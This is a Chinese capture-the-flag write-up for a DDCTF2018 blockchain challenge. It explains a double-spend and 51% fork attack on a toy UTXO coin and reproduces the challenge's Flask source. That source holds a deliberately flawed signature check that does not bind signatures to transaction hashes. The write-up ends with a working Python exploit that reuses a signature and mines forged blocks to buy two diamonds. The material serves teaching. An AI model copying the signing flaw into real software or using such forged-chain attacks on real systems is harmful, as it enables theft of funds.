区块链中的双花攻击
author: Homaebic
team: Syclover
mini blockchain
DDCTF2018出了一道区块链题目,对于区块链的web安全网上还没有很多的教程,这道题目给了一个很好的入门机会,我也将学习到的知识分享出来。
DD自己创造了一个自己的区块链货币用于商店,但它并不是真正的区块链,因为链只保存在服务器的session中,不过这不影响我们理解和做题。
来看一张交易模型
关于UTXO的详解看http://8btc.com/article-4381-1.html
区块链就是区块和链。在这道题目中,看上面的图片,一个方框就是一个区块(block)。一个区块包含了一次交易(tx),一个交易包含了交易的输入(input)和交易的输出(output),其中输出又称为UTXO。每一次交易的输入和输出必须相同,如果输入10块钱花了2块给便利店,那么2块输出给便利店,8块输出给自己。也可以把UTXO理解为余额,因为每次能花多少,都是要取决于之前的UTXO向自己输出了多少。
这道题目的背景是银行在某天发行了100w个DDB(对应上图第一个方块),这时黑客出现了,他在第一个block后面append了一个区块,把银行的99w9999转给了自己,把1转给银行。这样银行就只剩下一块钱了,黑客还得意的喊:second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
题目的要求是获得两个钻石,获得钻石的方法是商店有100w元。一个钻石的价格是100w,就是说我们得有200w才可以得到两个钻石,可银行只发行了100w,该怎么办?
双花攻击
双花攻击是同一笔UTXO在不同交易中的花费,双花不会产生新的货币,只能把自己花出去的钱重新拿回来。
这个攻击方法给了我灵感,实际上这道题就是使用双花攻击中的51% attack。51% attack指的是攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上。(如果有对比特币进行51% attack成功的案例,最大的危害在于人们对比特币的信心受损导致的比特币大跌而不是51% attack本身带来的危害)
如何进行51% attack攻击?在这道题中,就是创造一条超过原始链的长度。为了在后续讲解中方便,先写出题目给出的几个块,主链上块前有*
*块1(创世区块):银行发行100w币 |
---|
*块2(1):黑客转走99w9999,银行留1 |
*块3(1):空块(什么都没操作) |
具体操作就是从块1之后append一个块,把银行的100w转到shop中
*块1(创世区块):银行发行100w币 | |
---|---|
*块2(1):黑客转走99w9999,银行留1 | 块2(2)--shop转走100w |
*块3(1):空块(什么都没操作) |
(还可以随意转钱?就是有这种操作23333)
下一步,在自己append的块后append一个空块
*块1(创世区块):银行发行100w币 | |
---|---|
*块2(1):黑客转走99w9999,银行留1 | 块2(2)--shop转走100w |
*块3(1):空块(什么都不发生) | 块3(2)--空块(什么都不发生) |
再来一次同样的操作
*块1(创世区块):银行发行100w币 | |
---|---|
块2(1):黑客转走99w9999,银行留1 | *块2(2)--shop转走100w |
块3(1):空块(什么都没操作) | *块3(2)--空块(什么都不发生) |
*块4(1)--空块(什么都不发生) |
此时最长的链为块1-块2(2)-块3(1)-块4(1)。这样,我们就构造了一个比题目给我们还要长的链,区块链这套逻辑会把最长的链当做主链,主链从块2(2)处分叉,块2(1)失效了,shop账户中多了100w,我们获得一个钻石。接下来系统在购买钻石的块3(2)块后添加一个块,转走商店中的100w到商店钱包。
*块1(创世区块):银行发行100w币 | |
---|---|
块2(1):黑客转走99w9999,银行留1 | *块2(2)--shop转走100w |
*块3(2)--空块(什么都不发生) | |
*块4(1)--空块(什么都不发生) | |
*块5(1)--把100w转到shop_wallet_address |
那么另一个钻石该怎么获得呢?继续利用50% attack攻击,从块4(1)分叉,添加空块
*块1(创世区块):银行发行100w币 | ||
---|---|---|
块2(1):黑客转走99w9999,银行留1 | *块2(2)--shop转走100w | |
*块3(2)--空块(什么都不发生) | ||
*块4(1)--空块(什么都不发生) | ||
*块5(1)--把100w转到shop_wallet_address | 块5(2)--空块(什么都不发生) |
再append一个空块
*块1(创世区块):银行发行100w币 | ||
---|---|---|
块2(1):黑客转走99w9999,银行留1 | *块2(2)--shop转走100w | |
*块3(2)--空块(什么都不发生) | ||
*块4(1)--空块(什么都不发生) | ||
块5(1)--把100w转到shop_wallet_address | *块5(2)--空块(什么都不发生) | |
*块6(1)--空块(什么都不发生) |
主链变为块1-块2(2)-块3(1)-块4(1)-块5(2)-块6(1),块5(1)失效,shop拥有100w,钻石+1,得到flag。
为何可以直接append?
在这道题目中,给了一个append块的方法,可以将post请求当做块append到某个块后面,这个是一个正常的功能。在生成sign的时候没有将使用签名的交易hash计算进去,导致在验证的时候没有验证sign和交易hash的对应,所以只要有一个sign,就可以不断的利用这个sign append区块。
如果可以任意append,为什么不直接给shop转200w?
首先,所有的append都必须在创世block后。其次,系统会验证append块中的sign。还会验证prev值,是否为某个已存在的block的hash。(block的hash是将block的每个参数打包后进行hash)无法知道某个block的hash就无法在block后append一个block。最后,转出的钱,必须是之前的UTXO,题目中UTXO总量为100w,无法创造200w的UTXO。
51% attack和算力有什么关系?
append的块除了以上要求,还有一个复杂性要求。也就是工作量证明(https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin)。任意添加一个块的要求是
DIFFICULTY = int('00000' + 'f' * 59, 16)
......
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block的hash要小于系统定义的difficulty。为了使得可以控制hash的大小,一个block中还有一个可以随意定义的nonce,我们可以控制nonce来控制block_hash达到目的。为了满足复杂度要求,必须穷举nonce。init()中的几个块可以使用有语义的nonce是因为在那个阶段DIFFICULTY要求极低。
如果世界上有100个用户在使用这个系统,100个用户都在计算nonce以append自己的block。如果其中一个人计算nonce的速度要超过其余99个的速度,那么他添加新块的速度就会超过其他99个人添加新块的速度,他就可以在随意的一个块开始添加自己的块,使得自己构造的链长度大于其余99个构造的链,成为主链,达成51%攻击。这道题没人和我们比算力,生成一个比最长链长度大一的链即可。
一个block结构是怎样的?块2(1)
{ 'nonce': 'HAHA, I AM THE BANK NOW!', 'prev': 'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569', 'hash': '5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55', 'transactions': [{ 'input': ['9d65e5db-8671-4323-b279-af56963f2565'], 'output': [{ 'amount': 999999, 'hash': 'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b', 'id': '9dcb9e47-5816-4451-b99e-eb6d729f64b7', 'addr': 'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391' }, { 'amount': 1, 'hash': '19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad', 'id': '592e27c6-b111-40a7-8b2d-ccefa333e616', 'addr': '99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9' }], 'hash': '5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704', 'signature': ['9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514'] } ]}
参数解释,括号内为生成函数
nonce:自定义字符串
prev:上一个块的hash
hash:本个块的hash(hashhash,hash_reducer,hash_block)
transactions:交易(tx)
input:之前utxo的id
output:UTXO
amount:数量
hash:UTXO的hash(hash,hash_reducer,hash_utxo)
id:这个UTXO的id
addr:目标地址
hash:交易的hash(hash,hash_reducer,hash_tx)
signature:交易签名(sign_input_utxo)
题目代码:
# -*- encoding: utf-8 -*- # written in python 2.7 import hashlib, json, rsa, uuid, os from flask import Flask, session, redirect, url_for, escape, request app = Flask(__name__) app.secret_key = '*********************' url_prefix = '/b9af31f66147e' def FLAG(): return 'Here is your flag: DDCTF{******************}' def hash(x): return hashlib.sha256(hashlib.md5(x).digest()).hexdigest() def hash_reducer(x, y): return hash(hash(x)+hash(y)) def has_attrs(d, attrs): if type(d) != type({}): raise Exception("Input should be a dict/JSON") for attr in attrs: if attr not in d: raise Exception("{} should be presented in the input".format(attr)) EMPTY_HASH = '0'*64 def addr_to_pubkey(address): return rsa.PublicKey(int(address, 16), 65537) def pubkey_to_address(pubkey): assert pubkey.e == 65537 hexed = hex(pubkey.n) if hexed.endswith('L'): hexed = hexed[:-1] if hexed.startswith('0x'): hexed = hexed[2:] return hexed def gen_addr_key_pair(): pubkey, privkey = rsa.newkeys(384) return pubkey_to_address(pubkey), privkey bank_address, bank_privkey = gen_addr_key_pair() hacker_address, hacker_privkey = gen_addr_key_pair() shop_address, shop_privkey = gen_addr_key_pair() shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair() def sign_input_utxo(input_utxo_id, privkey): return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex') def hash_utxo(utxo): return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])]) def create_output_utxo(addr_to, amount): utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount} utxo['hash'] = hash_utxo(utxo) return utxo def hash_tx(tx): return reduce(hash_reducer, [ reduce(hash_reducer, tx['input'], EMPTY_HASH), reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH) ]) def create_tx(input_utxo_ids, output_utxo, privkey_from=None): tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo} tx['hash'] = hash_tx(tx) return tx def hash_block(block): return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)]) def create_block(prev_block_hash, nonce_str, transactions): if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value') nonce = str(nonce_str) if len(nonce) > 128: raise Exception('the nonce is too long') block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions} block['hash'] = hash_block(block) return block def find_blockchain_tail(): return max(session['blocks'].values(), key=lambda block: block['height']) def calculate_utxo(blockchain_tail): curr_block = blockchain_tail blockchain = [curr_block] while curr_block['hash'] != session['genesis_block_hash']: curr_block = session['blocks'][curr_block['prev']] blockchain.append(curr_block) blockchain = blockchain[::-1] utxos = {} for block in blockchain: for tx in block['transactions']: for input_utxo_id in tx['input']: del utxos[input_utxo_id] for utxo in tx['output']: utxos[utxo['id']] = utxo return utxos def calculate_balance(utxos): balance = {bank_address: 0, hacker_address: 0, shop_address: 0} for utxo in utxos.values(): if utxo['addr'] not in balance: balance[utxo['addr']] = 0 balance[utxo['addr']] += utxo['amount'] return balance def verify_utxo_signature(address, utxo_id, signature): try: return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address)) except: return False def append_block(block, difficulty=int('f'*64, 16)): has_attrs(block, ['prev', 'nonce', 'transactions']) if type(block['prev']) == type(u''): block['prev'] = str(block['prev']) if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce']) if block['prev'] not in session['blocks']: raise Exception("unknown parent block") tail = session['blocks'][block['prev']] utxos = calculate_utxo(tail) if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block') new_utxo_ids = set() for tx in block['transactions']: has_attrs(tx, ['input', 'output', 'signature']) for utxo in tx['output']: has_attrs(utxo, ['amount', 'addr', 'id']) if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id']) if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr']) if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo") if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id'])) new_utxo_ids.add(utxo['id']) if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo") if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception("invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input: raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output)) tx['hash'] = hash_tx(tx) block = create_block(block['prev'], block['nonce'], block['transactions']) block_hash = int(block['hash'], 16) if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work') block['height'] = tail['height']+1 if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain') if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain') session['blocks'][block['hash']] = block session.modified = True def init(): if 'blocks' not in session: session['blocks'] = {} session['your_diamonds'] = 0 # First, the bank issued some DDCoins ... total_currency_issued = create_output_utxo(bank_address, 1000000) genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction]) session['genesis_block_hash'] = genesis_block['hash'] genesis_block['height'] = 0 session['blocks'][genesis_block['hash']] = genesis_block # Then, the bank was hacked by the hacker ... handout = create_output_utxo(hacker_address, 999999) reserved = create_output_utxo(bank_address, 1) transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey) second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred]) append_block(second_block) # Can you buy 2 diamonds using all DDCoins? third_block = create_block(second_block['hash'], 'a empty block', []) append_block(third_block) def get_balance_of_all(): init() tail = find_blockchain_tail() utxos = calculate_utxo(tail) return calculate_balance(utxos), utxos, tail @app.route(url_prefix+'/') def homepage(): announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. ' balance, utxos, _ = get_balance_of_all() genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash'] addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address balance_info = 'Balance of all addresses: ' + json.dumps(balance) utxo_info = 'All utxos: ' + json.dumps(utxos) blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks']) view_source_code_link = "<a href='source_code'>View source code</a>" return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info])) @app.route(url_prefix+'/flag') def getFlag(): init() if session['your_diamonds'] >= 2: return FLAG() return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address def find_enough_utxos(utxos, addr_from, amount): collected = [] for utxo in utxos.values(): if utxo['addr'] == addr_from: amount -= utxo['amount'] collected.append(utxo['id']) if amount <= 0: return collected, -amount raise Exception('no enough DDCoins in ' + addr_from) def transfer(utxos, addr_from, addr_to, amount, privkey): input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount) outputs = [create_output_utxo(addr_to, amount)] if the_change != 0: outputs.append(create_output_utxo(addr_from, the_change)) return create_tx(input_utxo_ids, outputs, privkey) @app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>') def free_ddcoin(address): balance, utxos, tail = get_balance_of_all() if balance[bank_address] == 0: return 'The bank has no money now.' try: address = str(address) addr_to_pubkey(address) # to check if it is a valid address transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey) new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred]) append_block(new_block) return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address except Exception, e: return 'ERROR: ' + str(e) DIFFICULTY = int('00000' + 'f' * 59, 16) @app.route(url_prefix+'/create_transaction', methods=['POST']) def create_tx_and_check_shop_balance(): init() try: block = json.loads(request.data) append_block(block, DIFFICULTY) msg = 'transaction finished.' except Exception, e: return str(e) balance, utxos, tail = get_balance_of_all() if balance[shop_address] == 1000000: # when 1000000 DDCoins are received, the shop will give you a diamond session['your_diamonds'] += 1 # and immediately the shop will store the money somewhere safe. transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey) new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred]) append_block(new_block) msg += ' You receive a diamond.' return msg # if you mess up the blockchain, use this to reset the blockchain. @app.route(url_prefix+'/reset') def reset_blockchain(): if 'blocks' in session: del session['blocks'] if 'genesis_block_hash' in session: del session['genesis_block_hash'] return 'reset.' @app.route(url_prefix+'/source_code') def show_source_code(): source = open('serve.py', 'r') html = '' for line in source: html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') source.close() return html if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
其余函数功能:
addr_to_pubkey:检查地址有效性
pubkey_to_address:生成钱包地址
gen_addr_key_pair:生成钱包地址
create_output_utxo:创建一个utxo
create_tx:创建一个tx
create_block:创建一个block
find_blockchain_tail:查询最后一个block
calculate_utxo:得到所有utxo
calculate_balance:计算钱包的余额
verify_utxo_signature:验证utxo签名
append_block:添加块
init:初始化函数
get_balance_of_all:得到所有block,所有地址和utxo
homepage:web主页
getFlag:flag获取页面
EXP: 重命名源代码为btc.py
# -*- encoding: utf-8 -*- import btc, rsa, uuid, json, copy #创世块的hash genies_hash = "92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44" #黑客转账999999,所用的input和签名 input,signature = ("9018b356-cb1d-44c9-ab4e-bf15a8b2f95c","161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966") #商店地址 shop_address = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735" txout_id = str(uuid.uuid4()) #工作量证明 def pow(b, difficulty, msg=""): nonce = 0 while nonce<(2**32): b['nonce'] = msg+str(nonce) b['hash'] = btc.hash_block(b) block_hash = int(b['hash'], 16) if block_hash < difficulty: return b nonce+=1 def myprint(b): print(json.dumps(b)) print(len(json.dumps(b))) #构造一个空块 def empty_block(msg, prevHash): b={} b["prev"] = prevHash b["transactions"] = [] b = pow(b, btc.DIFFICULTY, msg) return b #从创世块开始分叉,给商店转1000000 block1 = {} block1["prev"] = genies_hash tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]} tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0]) tx['hash'] = btc.hash_tx(tx) block1["transactions"] = [tx] block1 = pow(block1, btc.DIFFICULTY) myprint(block1) #构造空块增加分叉链长度,使分叉链最长,因为max的结果不唯一,少则一次多则两次 block2 = empty_block("myempty1", block1["hash"]) myprint(block2) block3 = empty_block("myempty2", block2["hash"]) myprint(block3) #余额更新成功,系统自动添加块,转走商店钱,钻石+1 #从自己的块,即系统转走钱之前的那个块再次分叉,添加空块 block4 = empty_block("myempty3", block3["hash"]) myprint(block4) block5 = empty_block("myempty4", block4["hash"]) myprint(block5) #新的分叉链最长,余额更新成功,钻石+1
生成出的四个块按顺序提交,再访问/flag就可以得到flag